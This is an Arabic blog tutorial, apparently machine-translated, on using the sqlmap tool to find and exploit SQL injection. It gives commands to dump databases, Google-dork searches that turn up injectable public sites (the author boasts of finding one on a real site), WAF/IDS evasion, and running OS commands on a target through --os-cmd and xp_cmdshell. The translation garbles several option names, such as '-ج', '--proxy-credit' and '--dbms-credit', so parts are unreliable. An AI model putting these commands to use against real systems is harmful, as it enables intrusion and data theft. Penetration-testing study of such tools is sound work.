القائمة الرئيسية

الصفحات


Sqlmap





ماهي اداة SqlMap ؟

 SQLmap هي أداة مجانية ومفتوحة المصدر للكشف عن ثغرات إدخال SQL واستغلالها. ولها ميزة رائعة ، وهي المعالجة الآلية للكشف والاستخدام (بصمة قاعدة البيانات ، والوصول إلى نظام الملفات الأساسي ، وتنفيذ الأوامر).

كيفية تنزيل Sqlmap:

عنوان التحميل الرسمي لـ SQLmap:

http://sqlmap.org/


للنزيل علئ Termux  او Ubuntu وغيرها 


git clone https://github.com/sqlmapproject/sqlmap


للتحديث 


python sqlmap.py --update

 



1. تحديد المعلمات التي يمكن حقنها

2. تحديد تقنية حقن SQL التي يمكن استخدامها للحقن

3. تحديد قاعدة البيانات التي

4. وفقا لاختيار المستخدم ، أي البيانات لقراءة

 



تدعم sqlmap خمسة أوضاع حقن مختلفة:

 

  1. أعمى يعتمد على منطقية ، أي أنه يمكن الحكم على إدخال شروط صحيحة وكاذبة وفقًا للصفحة المرتجعة.
  2.  الرهان الأعمى المستند إلى الوقت ، أي أنه لا يمكنك الحكم على أي معلومات استنادًا إلى المحتوى الذي تعرضه الصفحة ، واستخدم العبارات الشرطية للتحقق مما إذا كان قد تم تنفيذ بيان تأخير الوقت (أي ما إذا كانت زيادة وقت إرجاع الصفحة).
  3. بناءً على إدخال الخطأ ، أي أن الصفحة ستعرض معلومات الخطأ ، أو سترجع نتيجة البيان الذي تم إدخاله إلى الصفحة مباشرة.
  4. حقن استعلام مشترك ، يمكنك استخدام الحقن في حالة الاتحاد.
  5. كومة استعلام حقن ، والتي يمكن أن تؤدي إلى إدخال عبارات متعددة في نفس الوقت.



قواعد البيانات التي تدعمها sqlmap هي:

 


MySQL و Oracle و PostgreSQL و Microsoft SQL Server و Microsoft Access و IBM DB2 و SQLite و Firebird و Sybase و SAP MaxDB



تجريبي للحقن

يستخدم هذا العرض التوضيحي بيئة Apache + Php + Mysql ، إذا كانت البيئة الأخرى

استخدم SQLMap لإدخال الأمر نفسه 



Sqlmap.py -u "http://url/php.php" --dbs

يقوم بإدراج جميع أسماء قاعدة البيانات



Sqlmap.py -u "http://127.0.0.1/sqlinject.php؟id=1" - 

قائمة قاعدة البيانات الحالية db الحالية



Sqlmap.py -u "http://127.0.0.1/sqlinject.php؟id=1" --is-dba

 تحديد ما إذا كانت نقطة الحقن لها حقوق المسؤول




Sqlmap.py -u "http://127.0.0.1/sqlinject.php؟id=1" -D "test" --tables 

تخمين اسم الجدول



Sqlmap.py -u "http://127.0.0.1/sqlinject.php؟id=1" -D "test" -T "test" - Columns

 تخمين اسم الحقل



Sqlmap.py -u "http://127.0.0.1/sqlinject.php؟id=1" -D "test" -T "test" -C "id، name" --dump

 تخمين قيمة المعرف والاسم



تستخدم اسامي الجداول المتداولة على الإنترنت الجملة التالية

sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --dump-all


سيقوم هذا الأمر بتنزيل جميع الجداول الموجودة في قاعدة بيانات الاختبار مباشرة إلى مجلد الإخراج الخاص بدليل التثبيت





http://www.srxh1314.com/sqlmap-penetration.html

http://drops.wooyun.org/tips/1343

إذا كنت تريد ملاحظة كيف تحاول sqlmap الحكم على نقطة وقراءة البيانات ، يمكنك استخدام المعلمة -v.




هناك سبعة مستويات ، الافتراضية:


  1. عرض أخطاء الثعبان والمعلومات الخطيرة فقط.
  2.  عرض المعلومات الأساسية ومعلومات التحذير في وقت واحد. (إفتراضي)
  3.  عرض معلومات التصحيح في نفس الوقت.
  4. عرض في وقت واحد الحمولة المحقونة.
  5. عرض طلب HTTP في نفس الوقت.
  6.  يتم عرض رأس استجابة HTTP أيضًا.
  7. يتم عرض صفحة استجابة HTTP في نفس الوقت.




التعليمات 



الرابط


المعلمات: -u أو --url

التنسيق: http (s): // targeturl [: port] / […]

على سبيل المثال:

 python sqlmap.py -u "http://www.target.com/vuln.php؟id=1" -f --banner --dbs --users



احصل على سجلات من Burp أو وكيل WebScarab

المعلمات: -l

يمكنك تفريغ السجلات مباشرة في Burp proxy أو WebScarab proxy إلى sqlmap للتحقق مما إذا كانت هناك عمليات حقن واحدة تلو الأخرى.


احصل على عدة عمليات مسح ضوئي للهدف من النص


المعلمة: -m

تنسيق عنوان URL المحفوظ في الملف كما يلي ، سوف تتحقق sqlmap واحدًا تلو الآخر

 


www.target1.com/vuln1.php?q=foobar

www.target2.com/vuln2.asp?id=1

www.target3.com/vuln3/id/1*

 




معالجة نتائج بحث Google


المعلمة: -ج

يمكن لـ sqlmap اختبار معلمات GET المحقونة في نتائج بحث Google (الحصول على أول 100 نتيجة فقط).

مثال:

python sqlmap.py -g "inurl:\".php?id=1\""

 

(إنها وظيفة جيدة جدًا لـ Niu B. لقد اختبرتها ووجدت نقطة حقن سينا ​​في العاشرة)

بالإضافة إلى ذلك ، يمكنك استخدام المعلمة -c لتحميل التكوين ذي الصلة في ملف sqlmap.conf.




طلب بيانات المتشعب


المعلمات: - data

هذه المعلمة هي تقديم البيانات في وضع POST ، وسوف تكشف sqlmap معلمات POST مثل معلمات GET.

مثال:

python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users

 


حرف تقسيم المعلمة


المعلمات: - param-del

هذه المعلمة مطلوبة عندما تحتاج بيانات GET أو POST إلى استخدام أحرف أخرى لتقسيم معلمة الاختبار.

مثال:

python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users




مصادقة شهادة HTTP


المعلمات: --auth-cert

عندما يتطلب خادم الويب شهادة عميل للمصادقة ، يجب توفير ملفين: key_file و cert_file.

key_file هو ملف PEM بالتنسيق ويحتوي على مفتاحك الخاص ، و cert_file هو ملف اتصال بتنسيق PEM




وكيل HTTP (S)


المعلمات: - proxy و - proxy-credit و --ignore-proxy

استخدم وكيل proxy بالصيغة: http: // url: port.

عندما يتطلب وكيل HTTP (S) المصادقة ، يمكنك استخدام المعلمة --proxy-credit: username: password.

يرفض --ignore-proxy استخدام وكيل HTTP (S) للشبكة المحلية.



استخدام تلوث معلمات HTTP


المعلمة: -hpp

قد يتجاوز تلوث معلمات HTTP آلية حماية WAF / IPS / IDS ، وهي فعالة جدًا لمنصات ASP / IIS و ASP.NET/IIS.



استخدم صفحة نتائج Google المحددة


المعلمات: --gpage

افتراضيًا ، تستخدم sqlmap أول 100 عنوان URL كاختبارات حقن. باستخدام هذا الخيار ، يمكنك تحديد اختبار URL للصفحة.



الكشف الإرشادي لحماية WAF / IPS / IDS


المعلمات: - check-waf

قد تتسبب حماية WAF / IPS / IDS في مشاكل كبيرة في sqlmap. إذا كنت تشك في أن الهدف لديه هذه الحماية ، يمكنك استخدام هذه المعلمة للاختبار. سيستخدم sqlmap معلمة غير موجودة لإدخال الاختبار

على سبيل المثال:

&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1

إذا كانت هناك حماية ، فقد تكون نتيجة الإرجاع مختلفة.




استخدم اختصارات المعلمات


المعلمات: -z

بعض معلمات الاستخدام طويلة جدًا ومعقدة ، يمكنك استخدام وضع الاختصار. على سبيل المثال:

python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1"

يمكن كتابتها على النحو التالي:

python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"

و أيضا:

python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1"

يمكن كتابتها على النحو التالي:

python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"





وقت الانتهاء المقدر


المعلمات: --eta

يمكن حساب الوقت المتبقي للبيانات المحقونة.

على سبيل المثال ، الملاحظة العمياء المنطقية من Oracle:


 python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta

تقوم sqlmap أولاً بإخراج الطول ووقت الإكمال المقدر ونسبة العرض وأحرف الإخراج



يحدد محدد الإخراج إلى CSV


المعاملات: - csv-del

عندما يتم حفظ التفريغ بتنسيق CSV (--dump-format = CSV) ، يلزم تحديد محدد ويكون الإعداد الافتراضي فاصلة. ويمكن للمستخدم أيضًا تغييره إلى شيء آخر:

--csv-del=";"

 




مصادقة DBMS


المعلمات: - dbms-credit

في بعض الأحيان ، لا تكون أذونات المستخدم الحالية كافية ، وستفشل بعض العمليات. إذا كنت تعرف كلمة مرور المستخدم ذي الامتيازات العالية ، فيمكنك استخدام هذه المعلمة. تحتوي بعض قواعد البيانات على آلية تشغيل خاصة للتبديل بين المستخدمين مثل وظيفة OPENROWSET في Microsoft SQL Server





قم بتشغيل أي أمر نظام تشغيل


المعلمات: --os-cmd ، --os-shell

عندما تكون قاعدة البيانات هي MySQL أو PostgreSQL أو Microsoft SQL Server ويكون لدى المستخدم الحالي إذن لاستخدام وظائف محددة.

قم بتحميل مكتبة ثنائية في MySQL و PostgreSQL و sqlmap ، بما في ذلك الوظائف المعرفة من قبل المستخدم و sys_exec () و sys_eval ().

ثم يمكن للوظيفتين التي أنشأها تنفيذ أوامر النظام. في Microsoft SQL Server ، سيستخدم sqlmap الإجراء xp_cmdshell المخزن. إذا تم تعطيله (افتراضيًا في Microsoft SQL Server 2005 والإصدارات الأحدث) ، فستعيد sqlmap تمكينه ، إذا لم يكن موجودًا ، فسيتم إنشاؤه تلقائيًا.

أعط مثالاً على PostgreSQL:

 

python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \

--os-cmd id -v 1

تعليقات

التنقل السريع